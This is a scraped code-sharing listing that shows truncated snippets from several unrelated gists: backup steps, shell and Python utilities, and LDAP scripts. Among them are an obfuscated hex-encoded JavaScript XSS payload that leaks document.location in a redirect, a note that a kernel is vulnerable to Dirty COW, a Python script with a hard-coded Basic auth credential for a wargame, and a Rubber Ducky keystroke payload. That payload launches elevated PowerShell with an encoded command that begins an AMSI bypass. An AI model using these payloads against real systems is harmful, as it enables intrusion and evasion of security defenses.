- Create a
backup
user on your Gogs server - Add this
backup
user as read-only collaborator to the projects that you want to backup - Generate a token for this user (here)
- Update configuration of the script (especially
BACKUP_DIRECTORY
,BACKUP_USERNAME
,BACKUP_TOKEN
,API_BASE_URL
andGIT_HOST
) - Run the script
- (Optionally) add this script to your
crontab
orrsnapshot.conf
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
MariaDB [(none)]> SHOW DATABASES; | |
+--------------------+ | |
| Database | | |
+--------------------+ | |
| app | | |
| information_schema | | |
| mysql | | |
| performance_schema | | |
+--------------------+ | |
4 rows in set (0.00 sec) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<p>[][`\x66\x69\x6c\x74\x65\x72`][`\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72`]`\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x66\x72\x2f\x3f\x27\x2b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x6c\x6f\x63\x61\x74\x69\x6f\x6e``` |
Debian Linux Jessie 3.16.36-1+deb8u1
is vulnerable to Dirty COW (CVE-2016-5195).
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
OUTPUT="images/linuxkit.tar" | |
IMG_REGEX="/^(linuxkit)/" | |
IMG_IDS=$(docker images | awk '{if ($1 ~ '${IMG_REGEX}') print $3}') | |
docker save ${IMG_IDS} -o ${OUTPUT} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import re | |
import sys | |
# HTTP headers | |
headers={ | |
'Authorization': 'Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==', | |
'Accept-Language': 'en' | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
from PIL import Image | |
def extractFrames(inGif, outFolder): | |
frame = Image.open(inGif) | |
nframes = 0 | |
while frame: | |
frame.save( '%s/%s-%s.gif' % (outFolder, os.path.basename(inGif), nframes ) , 'GIF') | |
nframes += 1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Usage: ./generate_ldap_sambasid.sh >samba_sid.ldif | |
# ldapmodify -x -D "cn=admin,dc=domain,dc=tld" -W -f samba_sid.ldif | |
# Get SID from: net getdomainsid | |
SID="S-1-5-21-blahblahblah-blahblahblah-blahblahblah" | |
DOMAIN="dc=domain,dc=tld" | |
USERS_OU="Peoples" | |
GROUPS_OU="Groups" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DELAY 1500 | |
GUI r | |
DELAY 500 | |
STRING powershell.exe Start-Process powershell.exe -Verb RunAs | |
ENTER | |
DELAY 1500 | |
STRING powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQBzAFMARQBNAEIAbAB5AC4ARwBlAHQAVABZAHAARQAoACcAUwB5 | |
STRING AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACc | |
STRING AKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAEkAZQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZA | |
STRING AnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBMAFUAZQAoACQAbgBVAEwAbAAsA |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
GUI l |